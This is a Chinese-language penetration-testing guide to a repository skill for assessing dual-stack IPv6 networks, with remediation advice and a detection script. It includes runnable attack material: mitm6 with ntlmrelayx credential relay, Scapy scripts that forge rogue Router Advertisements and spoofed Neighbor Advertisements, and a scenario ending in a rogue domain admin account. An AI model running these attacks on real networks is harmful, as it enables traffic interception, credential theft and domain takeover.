Anthropic-Cybersecurity-Skills 实战利用 SLAAC、路由通告与 IPv6 隧道漏洞开展双栈网络安全评估【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本篇技术指南基于开源仓库 Anthropic-Cybersecurity-Skills 中skills/exploiting-ipv6-vulnerabilities技能文档系统讲解如何在获得授权的安全评估中识别并利用 IPv6 特有的安全缺陷包括 SLAAC 欺骗、路由器通告Router Advertisement洪泛与 IPv6 隧道绕过。读完本文你将掌握一套从 IPv6 网络枚举、mitm6 中间人攻击、Scapy 伪造 RA 报文到 IPv6 防火墙一致性验证的完整实战流程并能借助仓库自带的agent.py自动化评估脚本将发现固化为可复用的风险评估报告。技能定位与适用场景该技能面向的是现代网络中普遍存在却常常被忽视的盲区双栈Dual-Stack网络的安全控制一致性。在企业同时运行 IPv4 与 IPv6 的环境中安全团队往往只加固了 IPv4 侧的防火墙、ACL 与监控规则而 IPv6 侧可能完全裸露。根据 SKILL.md 的定义该技能适用于以下评估场景验证双栈网络中 IPv4 与 IPv6 流量是否具备一致的安全控制措施证明在仅官方支持 IPv4 的网络中未受管理的 IPv6 所带来的真实风险利用 SLAAC 与 Router Advertisement 机制对 IPv6 流量实施中间人MITM攻击测试 IPv6 感知的防火墙规则与 IDS/IPS 对 IPv6 特有攻击模式的检测能力识别可绕过 IPv4 单栈安全控制的 IPv6 隧道协议6to4、Teredo、ISATAP。重要边界本技能对应 SKILL.md 中的明确警示——未经书面授权不得用于生产网络不得针对 IPv6 中断可能引发安全问题如 ICS/OT 环境的系统使用不得用于对网络基础设施的拒绝服务攻击。前置条件与工具准备开始评估前需要具备以下条件源自 SKILL.md 的 Prerequisites 章节前置条件说明书面授权明确界定 IPv6 测试范围与获批的技术手段Kali Linux 环境预装 THC-IPv6 Toolkit、Scapy 与 mitm6网络接口位于目标网段且支持 IPv6知识储备理解 IPv6 编址、SLAAC、NDP邻居发现协议与 Router Advertisement抓包工具Wireshark 用于捕获与分析 IPv6 流量评估过程将使用以下核心工具mitm6利用 Windows 主机对 DHCPv6 的默认偏好伪装成 IPv6 DNS 服务器实施 MITMTHC-IPv6 Toolkit包含 alive6、parasite6、fake_router6 及洪泛工具的完整 IPv6 攻击套件ScapyPython 报文构造库用于自定义 ICMPv6 RA 与 NDP 报文ndpmonIPv6 NDP 监视器用于检测恶意 RA 与 NDP 欺骗Nmap完整支持 IPv6 的网络扫描器含组播发现与 IPv6 专项脚本。六步评估工作流总览整个评估过程由 6 个步骤组成呈侦察 → 攻击 → 验证 → 加固建议的完整闭环枚举网络中的 IPv6 主机与路由通告基于 SLAAC 的 mitm6 中间人攻击使用 Scapy 伪造路由器通告Rogue RAIPv6 邻居发现攻击NDP 欺骗IPv6 隧道检测与利用IPv6 防火墙规则测试与结果文档化第一步枚举网络中的 IPv6评估的起点是摸清目标网段的 IPv6 现状——哪些主机启用了 IPv6、是否存在路由器通告、有无 DHCPv6 服务。以下命令组成了完整的侦察流程源自 SKILL.md 的 Step 1# 检查本地接口是否启用 IPv6 ip -6 addr show # 通过组播发现本地链路上的 IPv6 主机 ping6 -c 3 ff02::1%eth0 # ff02::1 all-nodes 组播地址 # 使用 THC-IPv6 套件的 alive6 发现主机 sudo alive6 eth0 # 用 Nmap 扫描 IPv6 主机 nmap -6 --script ipv6-multicast-mld-list -e eth0 nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0 # 检查网络上的路由器通告 sudo tcpdump -i eth0 -n -v icmp6 and ip6[40] 134 # Type 134 Router Advertisement # 使用 radvdump 捕获现有 RA sudo radvdump # 检查 DHCPv6 服务器 sudo dhclient -6 -v eth0 --request-only其中ip6[40] 134是理解 RA 的关键IPv6 报文在固定偏移 40 字节处是下一个报头类型Next Header134 对应 ICMPv6 的 Router Advertisement 类型。而ff02::1是链路本地 all-nodes 组播地址向它发送 Echo Request 即可探明同一链路内的所有 IPv6 主机。这一发现逻辑在仓库的自动化脚本 agent.py 中被复现为discover_ipv6_hosts()函数——它向ff02::1发送 ICMPv6 Echo Request并借助 Scapy 的sr()发送/接收原语收集回复最后返回包含ipv6_address与 MAC 地址的主机列表。从源码结构看脚本的 capture_router_advertisements() 则对应上文tcpdump/radvdump的监听职责用sniff()抓取 ICMPv6 报文并解析 RA 中的前缀、DNS 服务器与标志位。第二步基于 SLAAC 的 mitm6 中间人攻击mitm6 的核心攻击原理是利用 Windows 系统的默认行为当主机看到路由器通告后会主动通过 DHCPv6 请求 IPv6 配置而 mitm6 会抢先响应这些请求让自己成为受害者的 IPv6 DNS 服务器从而接管所有 DNS 查询源自 SKILL.md 的 Step 2# mitm6 利用 Windows 主机的默认行为收到 RA 后通过 DHCPv6 请求 IPv6 配置 # 启动 mitm6成为 IPv6 DNS 服务器 sudo mitm6 -d example.com -i eth0 # mitm6 执行以下动作 # 1. 发送 Router Advertisements 以在受害主机上启用 IPv6 # 2. 响应 DHCPv6 请求将自身指定为 DNS 服务器 # 3. 受害主机开始向攻击者发送 IPv6 DNS 查询 # 4. 攻击者可以用伪造的 DNS 应答进行响应 # 结合 ntlmrelayx 进行凭据中继 sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot # 该攻击链利用 # 1. 通过 DNS 的 WPADWeb Proxy Auto-Discovery # 2. Windows 向 WPAD 代理发送 NTLM 认证 # 3. ntlmrelayx 将凭据中继到目标服务器这条攻击链的关键是WPAD NTLM 中继当 mitm6 接管 DNS 后受害主机会通过 WPAD 自动发现机制请求wpad.example.com攻击者伪造的 WPAD 响应会引导浏览器代理指向攻击者随后 Windows 在访问代理时自动携带 NTLM 凭据ntlmrelayx再将这些凭据中继到目标服务器如域控制器实现凭据劫持。这条链路完整对应 MITRE ATTCK 的 T1557Adversary-in-the-Middle与 T1040Network Sniffing。第三步使用 Scapy 伪造路由器通告Rogue RA当网络中没有现成的 IPv6 路由器时攻击者可以直接伪造 RA 报文让受害主机把攻击者当作默认 IPv6 路由器来配置自身网络。以下完整代码来自 SKILL.md 的 Step 3可用于授权测试环境#!/usr/bin/env python3 Rogue Router Advertisement for authorized IPv6 testing. from scapy.all import * from scapy.layers.inet6 import * # Craft a Router Advertisement packet # This makes the attacker appear as the default IPv6 router iface eth0 attacker_mac get_if_hwaddr(iface) attacker_ipv6 get_if_addr6(iface) ra ( Ether(dst33:33:00:00:00:01) / # All-nodes multicast IPv6(srcattacker_ipv6, dstff02::1) / ICMPv6ND_RA( routerlifetime1800, # Advertise as router for 30 min prf1, # High preference M0, # No managed flag (use SLAAC) O1 # Other config via DHCPv6 (DNS) ) / ICMPv6NDOptSrcLLAddr(lladdrattacker_mac) / ICMPv6NDOptPrefixInfo( prefix2001:db8:dead::, # Rogue prefix prefixlen64, L1, A1, validlifetime3600, preferredlifetime1800 ) / ICMPv6NDOptRDNSS( dns[attacker_ipv6], # Attacker as DNS server lifetime1800 ) ) print(f[*] Sending rogue Router Advertisement from {attacker_ipv6}) print(f[*] Advertising prefix 2001:db8:dead::/64) sendp(ra, ifaceiface, count5, inter2) print([*] RA packets sent. Victims will configure IPv6 with rogue prefix.)这段代码逐层剖析了 RA 报文的结构ICMPv6ND_RA首部字段routerlifetime1800让受害主机将攻击者视为有效期为 30 分钟的路由器prf1声明高优先级确保攻击者路由被优先选用M0表示不启用受管标志强制走 SLAACO1表示其他配置如 DNS通过 DHCPv6 获取ICMPv6NDOptPrefixInfo通告一个伪造前缀2001:db8:dead::/64L1表示该前缀可用于链路寻址A1表示允许通过 SLAAC 自动配置地址有效期 1 小时、首选期 30 分钟ICMPv6NDOptRDNSS把攻击者自身地址指定为受害主机的 DNS 服务器与第二步的 mitm6 思路殊途同归。攻击效果受害主机将基于伪造前缀配置 IPv6 地址并把攻击者当作默认网关与 DNS 服务器此后其 IPv6 流量全部流经攻击者。第四步IPv6 邻居发现攻击NDP 欺骗NDPNeighbor Discovery Protocol是 ARP 在 IPv6 中的替代协议负责地址解析、路由器发现与重复地址检测。正如 ARP 欺骗是 IPv4 局域网经典攻击NDP 同样存在欺骗风险——攻击者可以伪造 Neighbor AdvertisementNA报文告诉受害主机我就是网关源自 SKILL.md 的 Step 4# Neighbor Advertisement 欺骗IPv6 版 ARP 欺骗 # 使用 THC-IPv6 套件的 parasite6 工具 sudo parasite6 eth0 # 或使用 Scapy 手工构造 python3 PYEOF from scapy.all import * from scapy.layers.inet6 import * # 伪造 Neighbor Advertisement 以重定向流量 target_ipv6 2001:db8::50 # Victim IPv6 address gateway_ipv6 2001:db8::1 # Gateway IPv6 address attacker_mac get_if_hwaddr(eth0) # 告诉受害主机我们是网关 na ( Ether(dst33:33:00:00:00:01) / IPv6(srcgateway_ipv6, dstff02::1) / ICMPv6ND_NA( tgtgateway_ipv6, R1, S0, O1 # Router flag, Override flag ) / ICMPv6NDOptDstLLAddr(lladdrattacker_mac) ) print([*] Sending spoofed Neighbor Advertisements...) sendp(na, ifaceeth0, count100, inter1) PYEOF # 用 ndpmon 检测 NDP 欺骗 sudo ndpmon -i eth0代码中R1Router 标志声明该地址是路由器、O1Override 标志强制覆盖受害主机邻居缓存中的既有条目——正是Override标志使攻击者能够挤掉真实网关在受害者缓存中的记录。parasite6则自动完成同样的欺骗流程。防御侧可用ndpmon持续监控链路对异常 NA/RA 报警。从源码看仓库 agent.py 中的detect_rogue_ra()实现了 NDP/RA 监测的检测侧逻辑将捕获到的 RA 源地址与--known-routers白名单比对任何不在白名单内的源地址都会被标记为ROGUE_ROUTER_ADVERTISEMENT告警并输出其源 IP、源 MAC、路由器生命周期与通告前缀——这与ndpmon的职责一致且让评估者同时掌握攻击侧与检测侧两种视角。第五步IPv6 隧道检测与利用IPv6 隧道6to4、Teredo、ISATAP允许 IPv6 报文封装在 IPv4 中传输这为安全评估者提供了一个绕道路径即使 IPv4 防火墙规则再严格只要允许隧道流量攻击者就能通过隧道直接访问 IPv4 侧受保护的服务源自 SKILL.md 的 Step 5# 检测 Teredo 隧道IPv6 over UDP 3544 端口 sudo tshark -i eth0 -Y udp.port 3544 -T fields -e ip.src -e ip.dst # 检测 6to4 隧道协议号 41 sudo tshark -i eth0 -Y ip.proto 41 -T fields -e ip.src -e ip.dst # 检测 ISATAP 隧道 sudo tshark -i eth0 -Y ip.proto 41 and ipv6.dst contains \::5efe:\ -c 10 # 扫描启用 Teredo 的主机 nmap -6 -sU -p 3544 --open 10.10.0.0/24 # 测试 IPv6 隧道是否能绕过 IPv4 防火墙规则 # 如果允许 TeredoIPv6 流量可以绕过 IPv4-only 防火墙 curl -6 http://[2001:db8::50]:8080/ # 通过 IPv6 隧道访问 # 在防火墙上阻断不需要的 IPv6 隧道 # iptables阻断协议 416to4、ISATAP与 Teredo sudo iptables -A INPUT -p 41 -j DROP sudo iptables -A OUTPUT -p 41 -j DROP sudo iptables -A INPUT -p udp --dport 3544 -j DROP sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP三种隧道的识别特征非常清晰隧道类型封装方式检测特征TeredoIPv6 over UDP 3544udp.port 35446to4IPv6 over IP protocol 41ip.proto 41ISATAPIPv6 over IP protocol 41ip.proto 41且 IPv6 地址含::5efe:段其中 ISATAP 地址的5efe段是其标识性特征2001:db8::5efe:192.168.1.5表示内嵌的 IPv4 地址。测试时如果目标主机通过 Teredo 获得了 IPv6 地址那么即使 IPv4 防火墙对其完全封锁curl -6依然可能访问到它监听的 8080 端口服务——这直接证明了IPv4 单栈防护可被 IPv6 隧道绕过的风险。仓库 agent.py 的check_tunnel_protocols()函数以嗅探方式实现了同样的检测匹配 UDP 3544 端口判定 Teredo匹配 IP 协议号 41 判定 6to4/ISATAP并返回结构化结果供报告使用。第六步测试 IPv6 防火墙规则并输出结果最后一步回归一致性验证这一核心目标确认 ip6tables 是否镜像了 iptables 的防护源自 SKILL.md 的 Step 6# 验证 ip6tables 规则是否就位 sudo ip6tables -L -n -v # 测试 IPv6 防火墙是否与 IPv4 规则一致 # 常见疏漏IPv4 防火墙很严格IPv6 却门户大开 nmap -6 -sS -p- target_ipv6_address # 对比 IPv4 与 IPv6 扫描结果 nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan diff (grep open ipv4_scan.nmap) (grep open ipv6_scan.nmap) # 检查交换机是否启用了 IPv6 RA Guard # Cisco: show ipv6 snooping policies # 若未启用将其记录为发现项 # 清理停止所有 IPv6 攻击工具 sudo killall mitm6 parasite6 2/dev/null这份脚本给出了一个简洁的规则一致性判定方法分别对同一主机的 IPv4 与 IPv6 地址执行同范围端口扫描再用diff比较开放端口列表。若 IPv6 侧开放的端口远多于 IPv4 侧即为IPv4 有防护、IPv6 裸奔的直接证据。同时还应核查交换机的 RA Guardshow ipv6 snooping policies与 IPv6 ACL 配置情况评估结束后务必清理所有攻击工具进程。仓库脚本 agent.py 中的check_ipv6_firewall()对该步骤做了自动化通过subprocess执行ip6tables -L -n --line-numbers统计规则条目数并截取前 20 条规则当规则数为 0 时generate_assessment() 会将其汇总为HIGH: No ip6tables rules configured风险发现。关键概念速查表以下概念贯穿整个评估过程源自 SKILL.md 的 Key Concepts 章节术语定义SLAAC无状态地址自动配置IPv6 主机无需 DHCP 服务器、直接从 Router Advertisement 自动配置地址的机制可通过恶意 RA 注入被利用Router AdvertisementRA路由器通告网络前缀、默认网关与 DNS 配置的 ICMPv6 报文恶意 RA 可发起 MITM 攻击NDP邻居发现协议IPv6 中替代 ARP 的协议使用 ICMPv6 完成地址解析、路由器发现与重复地址检测易受欺骗攻击mitm6利用 Windows 对 DHCPv6 的偏好成为 IPv6 DNS 服务器实现 DNS 欺骗与 NTLM 凭据中继的工具RA Guard交换机级安全特性过滤恶意 Router Advertisement阻止未授权主机伪装成 IPv6 路由器IPv6 隧道将 IPv6 报文封装进 IPv46to4、Teredo、ISATAP的机制可绕过 IPv4 单栈安全控制与防火墙典型场景利用 IPv4-only 企业网络中的未管理 IPv6以下为技能文档给出的高价值实战场景源自 SKILL.md 的 Common Scenarios背景某公司企业网络官方只使用 IPv4但 Windows 工作站默认启用 IPv6。内网渗透测试期间测试者发现 VLAN 上 IPv6 处于活跃状态且未部署任何 IPv6 安全控制无 RA Guard、无 IPv6 ACL。攻击路径发现所有 Windows 工作站都拥有链路本地 IPv6 地址并正在监听 Router Advertisement运行 mitm6 发送 DHCPv6 响应成为该 VLAN 上所有 Windows 主机的 IPv6 DNS 服务器配置 ntlmrelayx 将 WPAD 触发的 NTLM 认证中继到域控制器5 分钟内捕获并中继 12 台工作站的 NTLM 凭据获得文件共享访问权限成功中继一名域管理员的 NTLM 哈希创建新的域管理员账户记录结论缺乏 IPv6 安全控制即可在不利用任何传统漏洞的情况下实现完整的域沦陷建议在不需要 IPv6 的地方禁用 IPv6、在交换机上部署 RA Guard、在防火墙阻断 DHCPv6。常见陷阱Pitfalls向网络洪泛 Router Advertisement 可能导致部分设备不稳定mitm6 影响 VLAN 上的所有Windows 主机而非仅目标主机——确保测试范围覆盖所有可能受影响的机器部分环境存在依赖 IPv6 的服务SCCM、某些 Azure 服务IPv6 中断会导致其故障不要忘记排查 IPv6 隧道协议它们可能提供替代攻击路径。报告输出模板评估结论应结构化呈现以下为 SKILL.md 提供的报告骨架## IPv6 Security Assessment Report **Test ID**: IPV6-2024-001 **Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6) **Assessment Date**: 2024-03-15 ### IPv6 Discovery | Finding | Details | |---------|---------| | IPv6 Enabled Hosts | 147/150 workstations (Windows default) | | Link-Local Addresses | Active on all discovered hosts | | Router Advertisements | None detected (no IPv6 router) | | DHCPv6 Server | None present | | RA Guard | NOT configured on switches | | IPv6 Firewall Rules | NONE (ip6tables empty) | ### Attack Results | Attack | Result | Impact | |--------|--------|--------| | mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts | | WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications | | Domain Admin Relay | SUCCESS | Created rogue domain admin account | | IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) | ### Recommendations 1. Deploy RA Guard on all access-layer switches (Critical) 2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical) 3. Disable DHCPv6 client via Group Policy where IPv6 is not needed 4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall 5. Deploy IPv6-aware IDS rules for NDP spoofing detection报告遵循发现 → 攻击结果 → 修复建议三段式结构且每条建议明确标注优先级便于后续整改与复测。源码级深化用 agent.py 自动化 IPv6 安全评估该技能不仅给出手工流程还附带了一个完整的自动化评估 Agent。其依赖、CLI 用法与函数契约记录在 api-reference.md 中唯一运行时依赖为scapy 2.5。CLI 用法如下sudo python skills/exploiting-ipv6-vulnerabilities/scripts/agent.py \ --interface eth0 \ --known-routers fe80::1 fe80::2 \ --output ipv6_report.json各命令行参数的语义对应 agent.py 中的argparse定义参数默认值说明--interfaceeth0进行抓包与发包的网络接口--known-routers[]合法路由器的 IPv6 地址白名单用于 rogue RA 判定--outputipv6_assessment.json评估报告输出路径脚本内部将前文 6 个手工步骤的检测侧逻辑全部封装为独立函数形成了与 SKILL.md 工作流一一对应的模块化设计函数对应步骤核心行为discover_ipv6_hosts(interface, timeout)Step 1向ff02::1发送 ICMPv6 Echo Request 并收集应答capture_router_advertisements(interface, timeout)Step 1嗅探 ICMPv6 类型 134 报文提取前缀、DNS 服务器与标志位detect_rogue_ra(ras, known_routers)Step 4 检测侧将 RA 源地址与白名单比对标记 rogue RAcheck_ipv6_firewall()Step 6执行ip6tables -L -n空规则集被标记check_tunnel_protocols(interface, timeout)Step 5嗅探 TeredoUDP 3544、6to4协议 41、ISATAP 隧道流量generate_assessment(interface, known_routers)全部编排所有检查并生成最终评估报告在 Scapy 层的实现上脚本复用了与手工攻击代码相同的报文结构——ICMPv6ND_RA负责 RA 解析、ICMPv6NDOptPrefixInfo提取前缀信息、ICMPv6NDOptRDNSS提取 DNS 服务器、ICMPv6EchoRequest用于组播主机发现。这印证了手工测试与自动化评估在报文层面的同源性理解 RA/NDP 报文结构既能构造攻击报文也能编写检测逻辑。generate_assessment()的输出采用结构化 JSON Schema示例见 api-reference.md覆盖ipv6_hosts_discovered、router_advertisements、rogue_ras、firewall_status、tunnel_protocols与risk_findings六个维度其中风险发现按严重度分级如CRITICAL: 1 rogue Router Advertisements detected、HIGH: No ip6tables rules configured、MEDIUM: Teredo tunnel traffic detected可直接对接前文的报告模板或 SIEM 平台。框架映射与合规对齐该技能在前置元数据中已明确映射到两大安全框架见 SKILL.md 头部 frontmatterMITRE ATTCKT1046网络服务发现、T1040网络嗅探、T1557中间人攻击、T1071应用层协议通信——覆盖从侦察到流量劫持的完整攻击链NIST CSF 2.0PR.IR-01网络完整性保护、DE.CM-01网络监控、ID.AM-03资产清点、PR.DS-02传输中的数据保护——对应本技能在保护、检测与识别三大职能上的安全控制验证价值。在编写评估报告时可将每项发现与上述 ATTCK 技术 ID 和 CSF 控制类别关联使结果既能指导红队复现也能为蓝队检测工程提供输入从而让一次 IPv6 安全评估同时服务于攻防两端的能力建设。总结IPv6 不是未来的网络——在默认启用 IPv6 的操作系统与自动隧道机制的推动下它已经在绝大多数企业网络中悄然运行。本技能揭示的核心教训在于安全团队不能假设未管理等于不存在IPv6 侧的安全控制必须与 IPv4 同步设计、同步部署、同步验证。通过本文的六步工作流评估者可以从枚举、SLAAC/RA 攻击、NDP 欺骗、隧道绕过到防火墙一致性验证系统性地识别双栈网络中的盲区借助仓库自带的 agent.py 自动化脚本则可将这一过程固化为可重复、可量化、可对接 SIEM 的常态化安全评估能力。所有测试手段务必在书面授权范围内使用在受控环境中验证最终以结构化报告推动 RA Guard、IPv6 ACL、DHCPv6 管控与隧道阻断等真实防御措施的落地。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考